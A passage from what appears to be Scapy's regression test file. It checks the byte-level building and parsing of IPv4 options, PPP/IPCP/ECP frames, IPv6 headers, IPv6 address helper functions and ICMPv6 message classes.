IP(src="9.10.11.12",dst="13.14.15.16",options=IPOption_SDBM(addresses=["1.2.3.4","5.6.7.8"]))/TCP() bytes(_) assert(_ == b'H\x00\x004\x00\x01\x00\x00@\x06\xa2q\t\n\x0b\x0c\r\x0e\x0f\x10\x95\n\x01\x02\x03\x04\x05\x06\x07\x08\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') q=IP(_) q assert( isinstance(q.options[0],IPOption_SDBM) ) assert( q[IPOption_SDBM].addresses[1] == "5.6.7.8" ) IP(src="9.10.11.12", dst="13.14.15.16", options=[IPOption_NOP(),IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]),IPOption_Security(transmission_control_code="XYZ")])/TCP() bytes(_) assert(_ == b'K\x00\x00@\x00\x01\x00\x00@\x06\xf3\x83\t\n\x0b\x0c\r\x0e\x0f\x10\x01\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08\x82\x0b\x00\x00\x00\x00\x00\x00XYZ\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') IP(_) q=_ assert(q[IPOption_LSRR].get_current_router() == "1.2.3.4") assert(q[IPOption_Security].transmission_control_code == b"XYZ") assert(q[TCP].flags == 2) + Test PPP = PPP/HDLC ~ ppp hdlc HDLC()/PPP()/PPP_IPCP() bytes(_) s=_ assert(s == b'\xff\x03\x80!\x01\x00\x00\x04') PPP(s) p=_ assert(HDLC in p) assert(p[HDLC].control==3) assert(p[PPP].proto==0x8021) PPP(s[2:]) q=_ assert(HDLC not in q) assert(q[PPP].proto==0x8021) = PPP IPCP ~ ppp ipcp PPP(b'\x80!\x01\x01\x00\x10\x03\x06\xc0\xa8\x01\x01\x02\x06\x00-\x0f\x01') p=_ assert(p[PPP_IPCP].code == 1) assert(p[PPP_IPCP_Option_IPAddress].data=="192.168.1.1") assert(p[PPP_IPCP_Option].data == b'\x00-\x0f\x01') p=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) bytes(p) assert(_ == b'\x80!\x01\x00\x00\x16\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08\x84\x06\t\n\x0b\x0c') PPP(_) q=_ assert(bytes(p) == bytes(q)) assert(PPP(bytes(q))==q) PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option(type=123,data=b"ABCDEFG"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) p=_ bytes(p) assert(_ == b'\x80!\x01\x00\x00\x1f\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08{\tABCDEFG\x84\x06\t\n\x0b\x0c') PPP(_) q=_ assert( q[PPP_IPCP_Option].type == 123 ) assert( q[PPP_IPCP_Option].data == b'ABCDEFG' ) assert( q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' ) = PPP ECP ~ ppp ecp PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui=b"XYZ")]) p=_ bytes(p) assert(_ == b'\x80S\x01\x00\x00\n\x00\x06XYZ\x00') PPP(_) q=_ assert( bytes(p)==bytes(q) ) PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui=b"XYZ"),PPP_ECP_Option(type=1,data=b"ABCDEFG")]) p=_ bytes(p) assert(_ == b'\x80S\x01\x00\x00\x13\x00\x06XYZ\x00\x01\tABCDEFG') PPP(_) q=_ assert( bytes(p) == bytes(q) ) assert( q[PPP_ECP_Option].data == b"ABCDEFG" ) # Scapy6 Regression Test Campaign ########### IPv6 Class ############################################## + Test IPv6 Class = IPv6 Class basic Instantiation a=IPv6() = IPv6 Class basic build (default values) bytes(IPv6()) == b'`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = IPv6 Class basic dissection (default values) a=IPv6(bytes(IPv6())) a.version == 6 and a.tc == 0 and a.fl == 0 and a.plen == 0 and a.nh == 59 and a.hlim ==64 and a.src == "::1" and a.dst == "::1" = IPv6 Class with basic TCP stacked - build bytes(IPv6()/TCP()) == b'`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class with basic TCP stacked - dissection a=IPv6(bytes(IPv6()/TCP())) a.nh == 6 and a.plen == 20 and isinstance(a.payload, TCP) and a.payload.chksum == 0x8f7d = IPv6 Class with TCP and TCP data - build bytes(IPv6()/TCP()/Raw(load=b"somedata")) == b'`\x00\x00\x00\x00\x1c\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5\xdd\x00\x00somedata' = IPv6 Class with TCP and TCP data - dissection a=IPv6(bytes(IPv6()/TCP()/Raw(load=b"somedata"))) a.nh == 6 and a.plen == 28 and isinstance(a.payload, TCP) and a.payload.chksum == 0xd5dd and isinstance(a.payload.payload, Raw) and a[Raw].load == b"somedata" = IPv6 Class binding with Ethernet - build bytes(Ether(src="00:00:00:00:00:00", dst="ff:ff:ff:ff:ff:ff")/IPv6()/TCP()) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x86\xdd`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class binding with Ethernet - dissection a=Ether(bytes(Ether()/IPv6()/TCP())) a.type == 0x86dd ########### IPv6ExtHdrRouting Class ########################### = IPv6ExtHdrRouting Class - No address - build bytes(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=[])/TCP(dport=80)) ==b'`\x00\x00\x00\x00\x1c+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' = IPv6ExtHdrRouting Class - One address - build bytes(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2022::deca"])/TCP(dport=80)) == b'`\x00\x00\x00\x00,+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x02\x00\x01\x00\x00\x00\x00 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Multiple Addresses - build bytes(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"])/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x02\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->1) - build bytes(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=1)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x01\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->0) - build bytes(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=0)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' ########### in6_get6to4Prefix() ##################################### + Test in6_get6to4Prefix() = Test in6_get6to4Prefix() - 0.0.0.0 address in6_get6to4Prefix("0.0.0.0") == "2002::" = Test in6_get6to4Prefix() - 255.255.255.255 address in6_get6to4Prefix("255.255.255.255") == "2002:ffff:ffff::" = Test in6_get6to4Prefix() - 1.1.1.1 address in6_get6to4Prefix("1.1.1.1") == "2002:101:101::" = Test in6_get6to4Prefix() - invalid address in6_get6to4Prefix("somebadstring") is None ########### in6_get6to4Prefix() ##################################### + Test in6_6to4ExtractAddr() = Test in6_6to4ExtractAddr() - 2002:: address in6_6to4ExtractAddr("2002::") == "0.0.0.0" = Test in6_6to4ExtractAddr() - 255.255.255.255 address in6_6to4ExtractAddr("2002:ffff:ffff::") == "255.255.255.255" = Test in6_6to4ExtractAddr() - "2002:101:101::" address in6_6to4ExtractAddr("2002:101:101::") == "1.1.1.1" = Test in6_6to4ExtractAddr() - invalid address in6_6to4ExtractAddr("somebadstring") is None ########### RFC 4489 - Link-Scoped IPv6 Multicast address ########### = in6_getLinkScopedMcastAddr() : default generation a = in6_getLinkScopedMcastAddr(addr="FE80::") a == 'ff32:ff::' = in6_getLinkScopedMcastAddr() : different valid scope values a = in6_getLinkScopedMcastAddr(addr="FE80::", scope=0) b = in6_getLinkScopedMcastAddr(addr="FE80::", scope=1) c = in6_getLinkScopedMcastAddr(addr="FE80::", scope=2) d = in6_getLinkScopedMcastAddr(addr="FE80::", scope=3) a == 'ff30:ff::' and b == 'ff31:ff::' and c == 'ff32:ff::' and d is None = in6_getLinkScopedMcastAddr() : grpid in different formats a = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="\x12\x34\x56\x78") b = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="12345678") c = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=305419896) a == b and b == c ########### ethernet address to iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 2) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 3) in6_mactoifaceid("FD:00:00:00:00:00") == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 4) in6_mactoifaceid("FF:00:00:00:00:00") == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 5) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 6) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' ########### iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 2) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 3) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 4) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 5) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 6) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 1) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 2) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 3) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 4) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 5) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 6) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' ########### RFC 3041 related function ############################### = Test in6_getRandomizedIfaceId res=True for i in range(10): s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') inet_pton(socket.AF_INET6, '::'+s1) tmp2 = inet_pton(socket.AF_INET6, '::'+s2) res = res and ((ord(s1[0]) & 0x04) == 0x04) s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous=tmp2) tmp = inet_pton(socket.AF_INET6, '::'+s1) inet_pton(socket.AF_INET6, '::'+s2) res = res and ((ord(s1[0]) & 0x04) == 0x04) ########### RFC 1924 related function ############################### = Test RFC 1924 function - in6_ctop() basic test in6_ctop("4)+k&C#VzJ4br>0wv%Yp") == '1080::8:800:200c:417a' = Test RFC 1924 function - in6_ctop() with character outside charset in6_ctop("4)+k&C#VzJ4br>0wv%Y'") == None = Test RFC 1924 function - in6_ctop() with bad length address in6_ctop("4)+k&C#VzJ4br>0wv%Y") == None = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() with bad input in6_ptoc('1080:::8:800:200c:417a') == None ########### in6_getAddrType ######################################### = in6_getAddrType - 6to4 addresses in6_getAddrType("2002::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL | IPV6_ADDR_6TO4) = in6_getAddrType - Assignable Unicast global address in6_getAddrType("2001:db8::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) = in6_getAddrType - Multicast global address in6_getAddrType("FF0E::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Multicast local address in6_getAddrType("FF02::1") == (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Unicast Link-Local address in6_getAddrType("FE80::") == (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) = in6_getAddrType - Loopback address in6_getAddrType("::1") == IPV6_ADDR_LOOPBACK = in6_getAddrType - Unspecified address in6_getAddrType("::") == IPV6_ADDR_UNSPECIFIED = in6_getAddrType - Unassigned Global Unicast address in6_getAddrType("4000::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE::1) in6_getAddrType("FE::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE8::1) in6_getAddrType("FE8::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1::1) in6_getAddrType("1::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1000::1) in6_getAddrType("1000::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) ########### ICMPv6DestUnreach Class ################################# = ICMPv6DestUnreach Class - Basic Build (no argument) bytes(ICMPv6DestUnreach()) == b'\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 (for cksum and overload) bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x14e\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 with some payload bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x8e\xa3\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6DestUnreach Class - Dissection with default values and some payload a = IPv6(bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].code == 0 and a[ICMPv6DestUnreach].cksum == 0x8ea3 and a[ICMPv6DestUnreach].unused == 0 and IPerror6 in a = ICMPv6DestUnreach Class - Dissection with specific values a=IPv6(bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].cksum == 0x6666 and a[ICMPv6DestUnreach].unused == 0x7777 and IPerror6 in a[ICMPv6DestUnreach] = ICMPv6DestUnreach Class - checksum computation related stuff a=IPv6(bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(bytes(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6DestUnreach][TCPerror].chksum == b.chksum ########### ICMPv6PacketTooBig Class ################################ = ICMPv6PacketTooBig Class - Basic Build (no argument) bytes(ICMPv6PacketTooBig()) == b'\x02\x00\x00\x00\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 (for cksum and overload) bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x0ee\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 with some payload bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x88\xa3\x00\x00\x05\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6PacketTooBig Class - Dissection with default values and some payload a = IPv6(bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 0 and a[ICMPv6PacketTooBig].cksum == 0x88a3 and a[ICMPv6PacketTooBig].mtu == 1280 and IPerror6 in a True = ICMPv6PacketTooBig Class - Dissection with specific values a=IPv6(bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=2, cksum=0x6666, mtu=1460)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 2 and a[ICMPv6PacketTooBig].cksum == 0x6666 and a[ICMPv6PacketTooBig].mtu == 1460 and IPerror6 in a = ICMPv6PacketTooBig Class - checksum computation related stuff a=IPv6(bytes(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=1, cksum=0x6666, mtu=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(bytes(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6PacketTooBig][TCPerror].chksum == b.chksum ########### ICMPv6TimeExceeded Class ################################ # To be done but not critical. Same mechanisms and format as # previous ones. ########### ICMPv6ParamProblem Class ################################ # See previous note ########### ICMPv6EchoRequest Class ################################# + Test ICMPv6EchoRequest Class = ICMPv6EchoRequest - Basic Instantiation bytes(ICMPv6EchoRequest()) == b'\x80\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoRequest - Instantiation with specific values bytes(ICMPv6EchoRequest(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x80\xff\x11\x11""33thisissomestring' = ICMPv6EchoRequest - Basic dissection a=ICMPv6EchoRequest(b'\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b"" = ICMPv6EchoRequest - Dissection with specific values a=ICMPv6EchoRequest(b'\x80\xff\x11\x11""33thisissomestring') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomestring" = ICMPv6EchoRequest - Automatic checksum computation and field overloading (build) bytes(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoRequest()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00' = ICMPv6EchoRequest - Automatic checksum computation and field overloading (dissection) a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply Class ################################### + Test ICMPv6EchoReply Class = ICMPv6EchoReply - Basic Instantiation bytes(ICMPv6EchoReply()) == b'\x81\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoReply - Instantiation with specific values bytes(ICMPv6EchoReply(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x81\xff\x11\x11""33thisissomestring' = ICMPv6EchoReply - Basic dissection a=ICMPv6EchoReply(b'\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b"" = ICMPv6EchoReply - Dissection with specific values a=ICMPv6EchoReply(b'\x80\xff\x11\x11""33thisissomestring') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomestring" = ICMPv6EchoReply - Automatic checksum computation and field overloading (build) bytes(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoReply()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x81\x00\x94\xf1\x00\x00\x00\x00' = ICMPv6EchoReply - Automatic checksum computation and field overloading (dissection) a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply/Request answers() and hashret() ######### = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 1 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") b.hashret() == a.hashret() # data are not taken into account for hashret = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 2 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="otherdata") b.hashret() == a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 3 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x8888, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 4 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x8888, seq=0x7777, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 5 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") (a > b) == True = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 6 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777, data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x7777, data="somedata") (a > b) == True ########### ICMPv6MRD* Classes ###################################### = ICMPv6MRD_Advertisement - Basic instantiation bytes(ICMPv6MRD_Advertisement()) == b'\x97\x14\x00\x00\x00\x00\x00\x00' = ICMPv6MRD_Advertisement - Instantiation with specific values bytes(ICMPv6MRD_Advertisement(advinter=0xdd, queryint=0xeeee, robustness=0xffff)) == b'\x97\xdd\x00\x00\xee\xee\xff\xff' = ICMPv6MRD_Advertisement - Basic Dissection and overloading mechanisms a=Ether(bytes(Ether()/IPv6()/ICMPv6MRD_Advertisement())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 8 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Advertisement in a and a[ICMPv6MRD_Advertisement].type == 151 and a[ICMPv6MRD_Advertisement].advinter == 20 and a[ICMPv6MRD_Advertisement].queryint == 0 and a[ICMPv6MRD_Advertisement].robustness == 0 = ICMPv6MRD_Solicitation - Basic dissection bytes(ICMPv6MRD_Solicitation()) == b'\x98\x00\x00\x00' = ICMPv6MRD_Solicitation - Instantiation with specific values bytes(ICMPv6MRD_Solicitation(res=0xbb)) == b'\x98\xbb\x00\x00' = ICMPv6MRD_Solicitation - Basic Dissection and overloading mechanisms a=Ether(bytes(Ether()/IPv6()/ICMPv6MRD_Solicitation())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 